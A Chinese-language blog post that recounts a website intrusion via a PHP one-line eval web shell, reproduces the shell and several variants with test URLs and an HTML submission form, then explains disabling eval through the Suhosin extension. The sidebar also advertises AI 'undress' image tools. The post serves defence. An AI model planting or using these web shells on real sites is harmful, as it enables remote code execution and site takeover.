之前网站收到黑客攻击,我们才知道php的eval函数具有很大的安全隐患。今天我们就来介绍一下禁止eval的方法,有需要的可以参考参考。
前段时间,网站遭受了黑客的入侵,后来在排查中发现了一个php,里面的内容只有很少:
<?php eval($_POST[asda123131323156341]);?>
然后网上搜索一下php的eval函数,发现这个eval函数带有很大的安全隐患。
本地测试一下,在本地环境写一个php,内容如下:
default.php:
<?php eval($_GET[asda]);?>
然后访问一下:localhost/test/default.php?asda=phpinfo();
就可以看到已经把phpinfo给执行了。
或者是访问localhost/test/default.php?asda = echo 11111;同样也会发现1111被echo出来了。
类似的手段还有:
<?php $code="${${eval($_GET[c])}}";?>
访问localhost/test/default.php?c=phpinfo();即可看到
<?php $code=addslashes($_GET[c]); eval(""$code""); ?>
访问localhost/test/default.php?c= ${${phpinfo()}};即可看到
利用可以执行php的eval函数,黑客可以用这个来上传一些后台木马,比如说上传php,然后通过url访问这个php来获得更大的权限。这种称为一句话木马的入侵。比如说:写一个html,内容如下:
<html> <body> <form action="default.php" method="post"> <input type="text" name="c" value="phpinfo();"> <input type="submit" value="submit"> </form> </body> </html>
然后写一个default.php,内容为:5f557f62ae7ac7a14e0b1cb564790dfc
<?php eval($_POST[c]);?>
这样的话,想执行什么php就可以直接提交运行即可。
所以: eval()对于php安全来说具有很大的杀伤力,eval函数减弱了你的应用的安全性,因此一般不用的情况下为了防止类似如下的一句话木马入侵,需要禁止!
然而网上很多说使用disable_functions禁止掉eval的方法都是错误的!
其实eval()是无法用php.ini中的disable_functions禁止掉的 :
because eval() is a language construct and not a function
eval是zend的,因此不是PHP_FUNCTION 函数;
那么php怎么禁止eval呢?
如果想禁掉eval可以用php的扩展 Suhosin:
安装Suhosin后在php.ini中load进来Suhosin.so,再加上suhosin.executor.disable_eval = on即可!
总结,php的eval函数在php中是无法禁用的,因此我们也只有使用插件了!
至于安装suhosin来禁止eval函数的步骤为:(未测试)
说明:
php安装目录:/usr/local/php5
php.ini配置文件路径:/usr/local/php5/etc/php.ini
Nginx安装目录:/usr/local/nginx
Nginx网站根目录:/usr/local/nginx/html
1、安装编译工具
yum install wget make gcc gcc-c++ zlib-devel openssl openssl-devel pcre-devel kernel keyutils patch perl
2、安装suhosin
cd /usr/local/src #进入软件包存放目录 wget http://download.suhosin.org/suhosin-0.9.33.tgz #下载 tar zxvf suhosin-0.9.33.tgz #解压 cd suhosin-0.9.33 #进入安装目录 /usr/local/php5/bin/phpize #用phpize生成configure配置文件 ./configure --with-php-config=/usr/local/php5/bin/php-config #配置 make #编译 make install #安装 安装完成之后,出现下面的界面,记住以下路径,后面会用到。 Installing shared extensions: /usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/ #suhosin模块路径
3、配置php支持suhosin
vi /usr/local/php5/etc/php.ini #编辑配置文件,在最后一行添加以下内容 extension=/usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/suhosin.so suhosin.executor.disable_eval = on
注意:suhosin.executor.disable_eval = on 的作用就是禁用eval函数
4、测试
vi /usr/local/nginx/html/phpinfo.php #编辑
<?php phpinfo(); ?>
:wq! #保存退出
service php-fpm restart #重启php-fpm
service nginx restart #重启nginx
注意:如果是apache的话也是一样的,重启apache即可。
浏览器打开phpinfo.php 如下图所示,可以看到suhosin相关信息
至此,Linux下php安装suhosin安装完成!
注意:禁用了 eval后,会有啥后果呢? 首先是代码里使用 eval 的软件将不能使用比如大名鼎鼎的 Discuz! 论坛和 PHPWind论坛将不能正常使用,也影响到phpMyAdmin的旧版本,如果更新到目前最新的3.2.5,就可以使用,只是默认有个警告的提示,在 config.inc.php 中加上 $cfg['SuhosinDisableWarning']=true;
就可以取消这个警告了。
注意:除了eval之外,还有assert也是类似的用法。
推荐学习:php视频教程
以上是php怎样才能禁止有安全隐患的eval的详细内容。更多信息请关注PHP中文网其他相关文章!

本文比较了酸和基本数据库模型,详细介绍了它们的特征和适当的用例。酸优先确定数据完整性和一致性,适合财务和电子商务应用程序,而基础则侧重于可用性和

本文讨论了确保PHP文件上传的确保,以防止诸如代码注入之类的漏洞。它专注于文件类型验证,安全存储和错误处理以增强应用程序安全性。

本文讨论了在PHP中实施API速率限制的策略,包括诸如令牌桶和漏水桶等算法,以及使用Symfony/Rate-limimiter之类的库。它还涵盖监视,动态调整速率限制和手

本文讨论了使用password_hash和pyspasswify在PHP中使用密码的好处。主要论点是,这些功能通过自动盐,强大的哈希算法和SECH来增强密码保护

本文讨论了OWASP在PHP和缓解策略中的十大漏洞。关键问题包括注射,验证损坏和XSS,并提供用于监视和保护PHP应用程序的推荐工具。


热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

Video Face Swap
使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热门文章

热工具

SecLists
SecLists是最终安全测试人员的伙伴。它是一个包含各种类型列表的集合,这些列表在安全评估过程中经常使用,都在一个地方。SecLists通过方便地提供安全测试人员可能需要的所有列表,帮助提高安全测试的效率和生产力。列表类型包括用户名、密码、URL、模糊测试有效载荷、敏感数据模式、Web shell等等。测试人员只需将此存储库拉到新的测试机上,他就可以访问到所需的每种类型的列表。

SublimeText3 Linux新版
SublimeText3 Linux最新版

DVWA
Damn Vulnerable Web App (DVWA) 是一个PHP/MySQL的Web应用程序,非常容易受到攻击。它的主要目标是成为安全专业人员在合法环境中测试自己的技能和工具的辅助工具,帮助Web开发人员更好地理解保护Web应用程序的过程,并帮助教师/学生在课堂环境中教授/学习Web应用程序安全。DVWA的目标是通过简单直接的界面练习一些最常见的Web漏洞,难度各不相同。请注意,该软件中

ZendStudio 13.5.1 Mac
功能强大的PHP集成开发环境

安全考试浏览器
Safe Exam Browser是一个安全的浏览器环境,用于安全地进行在线考试。该软件将任何计算机变成一个安全的工作站。它控制对任何实用工具的访问,并防止学生使用未经授权的资源。